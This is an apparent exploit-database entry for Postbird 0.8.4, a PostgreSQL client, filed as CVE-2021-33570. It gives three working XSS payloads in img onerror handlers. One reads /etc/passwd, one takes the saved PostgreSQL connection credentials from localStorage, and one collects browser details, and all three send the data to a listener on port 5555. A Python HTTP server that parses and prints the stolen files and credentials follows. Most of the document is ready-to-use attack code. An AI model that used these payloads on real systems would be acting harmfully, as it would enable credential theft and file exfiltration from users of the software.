Postbird 0.8.4 Cross Site Scripting / Local File Inclusion

`# Exploit Title: Postbird 0.8.4 - Javascript Injection  
# Date: [26 May 2021]  
# Exploit Author: Debshubra Chakraborty  
# Vendor Homepage: https://github.com/paxa/postbird  
# Software Link: https://www.electronjs.org/apps/postbird  
# Version: 0.8.4   
# Tested on: Linux  
# CVE : CVE-2021-33570  
  
"""  
XSS Payload  
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?xss='+JSON.stringify(navigator.appVersion), true);xhttp.send();">  
  
LFI Payload  
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'file:///etc/passwd', false);xhttp.send();var res = xhttp.response;xhttp.open('GET', 'http://127.0.0.1 :5555/?file='+JSON.stringify(res), true);xhttp.send();">  
  
PostgreSQL Password Stealing Payload  
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?credentials='+window.localStorage.savedConnections, true);xhttp.send();">  
  
"""  
  
from http.server import BaseHTTPRequestHandler, HTTPServer  
import urllib.parse  
import re  
  
hostName = '0.0.0.0'  
serverPort = 5555  
  
class MyServer(BaseHTTPRequestHandler):  
def do_GET(self):  
self.send_response(200)  
parse(urllib.parse.unquote(self.requestline))  
  
def log_message(self, format, *args):  
return   
  
  
def parse(data):  
expression = re.search('\S+=', data)  
attr = expression.group()  
  
if attr[2:len(attr)-1] == 'file':  
data = data[12:len(data)-11]   
data = data.rsplit('\\n')  
print(f'\n[+] File received from LFI: \n\n')  
for output in data:  
print(output)  
  
elif attr[2:len(attr)-1] == 'xss':  
data = data[11:len(data)-10]  
print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')  
  
elif attr[2:len(attr)-1] == 'credentials':  
pos = re.search('{"\S+:', data)  
data = data[pos.start():len(data)-11]  
for i in range(2, len(data), 1):  
if data[i] == '"':  
pos = i  
break  
  
host = data[2:pos]  
data = data[14:]  
data = data.rsplit(',')  
print(f'\n\n[+] The Database credentials received\n\nHost = {host}')  
for output in data:  
print(output)  
  
else:  
print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')  
  
  
def main():   
global hostName, serverPort  
webServer = HTTPServer((hostName, serverPort), MyServer)  
print("Server started http://%s:%s" % (hostName, serverPort))  
  
try:  
webServer.serve_forever()  
  
except KeyboardInterrupt:  
pass  
  
webServer.server_close()  
print("\nServer stopped.")  
  
  
if __name__ == "__main__":  
main()  
  
`